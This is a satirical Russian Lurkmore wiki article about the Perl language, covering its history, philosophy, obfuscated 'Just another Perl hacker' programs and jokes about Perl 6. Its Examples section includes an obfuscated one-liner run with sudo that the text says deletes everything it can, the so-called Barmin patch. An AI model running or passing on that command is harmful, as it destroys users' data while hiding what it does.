Личные инструменты

Perl

Материал из Lurkmore

(Перенаправлено с Перл)
Перейти к: навигация, поиск
«

Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть

»
— Анонимус

Perl (Перл, тж.: Пёрл) — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из РегЭкспов чуть менее, чем полностью. [ЩИТО?].

Жил-был Великий Шаман по имени Ларри Уолл. Жил — не тужил, пиво пил и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Залился пивом этот мэн и обозвал свое детище — Perl`ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык извлечений лулзов и отчетов), а некоторые извращенцы называют Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер). В Рашке также называется ПЕРДЛ, что расшифровывается от китайского «Почему Если Работает Делать Лучше», или, как говаривал, бывало, Дэн Сяопин, «Неважно, какого цвета кошка, лишь бы она ловила мышей».

Отлично подходит для нужд бородатых Одминов и кулхацкеров. пруф. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что шибко больно хитропопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:

первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко > вывод-сюда.csv 2> ошибки-сюда.txt

Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его, разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, ну ты понел. В этом качестве ПЕРДЛ полезен, удобен, прекрасен и доставляэ, а писать такие скрипты на ём - прельстиво и тепло. В качестве среды разработки и выполнения Web-скриптов он малопригоден, и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.

Содержание

[править] Философие

Афоризмы, лежащие в основе Дао Perl’а — TMTOWTDI — «There’s More Than One Way To Do It» — «Есть более одного способа реализовать задуманное» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и навроде пушистой змэйкой, так же эффективно выполняя тот же байт-код, но оформленный более читаемо для питонщиков и иже с ними, ибо.

Маскотом Перла является верблюд, с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl».

До создания еретического Пыха был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуйни) для быдлохоумпаг всяких Вась Пупкиных, не ведавших не то что про ООП, но даже про модуль CGI и извлекавших переменные напрямую «руками» из QUERY_STRING [1][2]. Ещё буквально 8 лет назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.

Внимание!
Расположенная ниже информация принципиально никем не проверялась и, вероятнее всего, добавлена сюда исключительно для лулзов.

[править] Примеры

Пример атипичной программы на Perl.

`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"
$^$~$*.>&$=`

Очевидно, что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «Hello, world!».

Однако, если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:

#!/usr/bin/perl
print "Just another Perl hacker.\n";

Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию (это иллюстрирует кагбэ чуйздво хумора у того, кто ЭТО написал и больше ничего *Прим. анонимуса):

    ''=~(        '(?{'        .('`'        |'%')        .('['        ^'-')
    .('`'        |'!')        .('`'        |',')        .'"'.        '\\

Ещё куча подобных примеров

Существует другая популярная программа на перле, реализующая патч Бармина. К. О. предупреждает: ни в коем случае обязательно не выполняйте эту программу, так как она предназначена для удаления всего, что сможет удалить. Если вы ее уже запустили, то мне вас жаль.

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

[править] Некоторые особенности языка

[править] Perl 6

Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде сферического в вакууме стандарта и допускает существования нескольких реализаций. Впервые про Него мир узнал в 2000 году, и с переменным успехом длится по сей день.

Наиболее полная реализация Perl 6 на данный момент — Rakudo, под Попугайчега.

Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют из себя ничего серьезного.

Возможно, я не первый, кому это приходит на ум, но я точно знаю, к чему именно движется разработка Perl 6, как логического и абсолютного развития Perl 5.

Его Дао я представляю себе приблизительно так:

  1. Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.
  2. Всегда есть бесконечное количество различных способов сделать это.
  3. Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.
  4. Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц фильтры с помощью регулярных выражений, которые тоже можно перегружать.
  5. Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке[3]. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. Мы работаем над этим. Когда мы закончим, наступит Апокалипсис Армагеддон (который тоже можно будет перегрузить).

1;

[править] Посылки

[править] Примечания

  1. Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные быдлокодерами, кроме своей хоумпаги ничего не писавшими.
  2. Замечу, что модуль CGI уныл и медленен, и выцарапывать переменные напрямую из QUERY_STRING, не подключая для этого этот трактор со свистелками, логично и правильно
  3. Формальное доказательство что перл нельзя распарсить


Источник — «http://lurkmore.ru/Perl»